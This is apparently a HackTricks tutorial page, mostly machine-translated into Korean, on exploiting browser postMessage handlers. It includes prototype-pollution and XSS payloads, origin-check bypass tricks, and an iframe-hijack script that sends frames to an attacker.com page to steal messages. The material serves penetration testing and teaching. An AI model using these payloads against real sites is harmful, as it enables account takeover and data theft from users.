PostMessage Vulnerabilities

PostMessage 취약점

HackTricks 지원하기

PostMessage 전송

PostMessage는 메시지를 전송하기 위해 다음 기능을 사용합니다:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note that targetOrigin can be a '*' or an URL like https://company.com. In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different). If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.

Attacking iframe & wildcard in targetOrigin

As explained in this report if you find a page that can be iframed (no X-Frame-Header protection) and that is sending sensitive message via postMessage using a wildcard (*), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you. Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 악용

**addEventListener**는 JS가 **postMessages**를 기대하는 함수를 선언하는 데 사용하는 함수입니다. 다음과 유사한 코드가 사용될 것입니다:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)

  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements --> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 True를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.

  • PostMessage 이벤트에서 출처 검증을 위해 **indexOf()**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예시는 다음과 같습니다:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()search() 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 조작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() 함수는 search()와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.

  • escapeHtml 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 hasOwnProperty를 인식하지 못하게 할 수 있다면, escapeHtml은 예상대로 작동하지 않을 것입니다. 이는 아래 예시에서 보여집니다:

  • 예상 실패:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • 이스케이프 우회:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

이 취약성의 맥락에서, File 객체는 읽기 전용 name 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml 함수에 의해 정리되지 않아 잠재적인 보안 위험을 초래합니다.

  • JavaScript의 document.domain 속성은 스크립트에 의해 도메인을 단축하도록 설정될 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다.

e.origin == window.origin bypass

sandboxed iframe 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 sandbox 속성 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.

sandbox 속성에 **allow-popups**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 allow-popups-to-escape-sandbox 속성이 포함되지 않는 한, 팝업 창의 출처도 null로 설정되어 iframe의 출처와 일치함을 의미합니다.

따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **postMessage**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 null로 설정됩니다. 이 상황은 **e.origin == window.origin**이 true로 평가되는 시나리오를 초래합니다 (null == null), 왜냐하면 iframe과 팝업이 동일한 출처 값인 null을 공유하기 때문입니다.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인하는 것이 가능합니다 (특히 브라우저 확장 프로그램의 콘텐츠 스크립트가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

메시지의 **e.source**를 null로 만들기 위해 postMessage전송하고 즉시 삭제되는 iframe을 생성할 수 있습니다.

자세한 정보는 읽어보세요:

Bypassing SOP with Iframes - 2

X-Frame-Header 우회

이 공격을 수행하기 위해 이상적으로는 피해자 웹 페이지iframe 안에 넣을 수 있어야 합니다. 그러나 X-Frame-Header와 같은 일부 헤더는 그 동작방지할 수 있습니다. 이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

자식에게 전송된 메시지를 메인 페이지 차단으로 훔치기

다음 페이지에서는 데이터를 전송하기 전에 메인 페이지를 차단하여 자식 iframe에 전송된 민감한 postmessage 데이터를 어떻게 훔칠 수 있는지 보여줍니다. 그리고 자식에서 XSS를 악용하여 데이터를 유출하기 전에 데이터를 수신합니다:

Blocking main page to steal postmessage

iframe 위치 수정으로 메시지 훔치기

X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, 그 자식 iframe의 위치를 변경할 수 있습니다. 따라서 와일드카드를 사용하여 전송된 postmessage를 수신하는 경우, 공격자는 그 iframe의 출처를 자신이 제어하는 페이지로 변경하고 메시지를 훔칠 수 있습니다:

Steal postmessage modifying iframe location

postMessage를 통한 프로토타입 오염 및/또는 XSS

postMessage를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 페이지를 iframe으로 삽입하고 프로토타입 오염/XSSpostMessage를 통해 악용할 수 있습니다.

https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html에서 postMessage를 통한 XSS에 대한 매우 잘 설명된 사례를 찾을 수 있습니다.

iframe에 대한 postMessage를 통해 프로토타입 오염을 악용한 후 XSS의 예:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

더 많은 정보:

참고문헌

HackTricks 지원하기

Last updated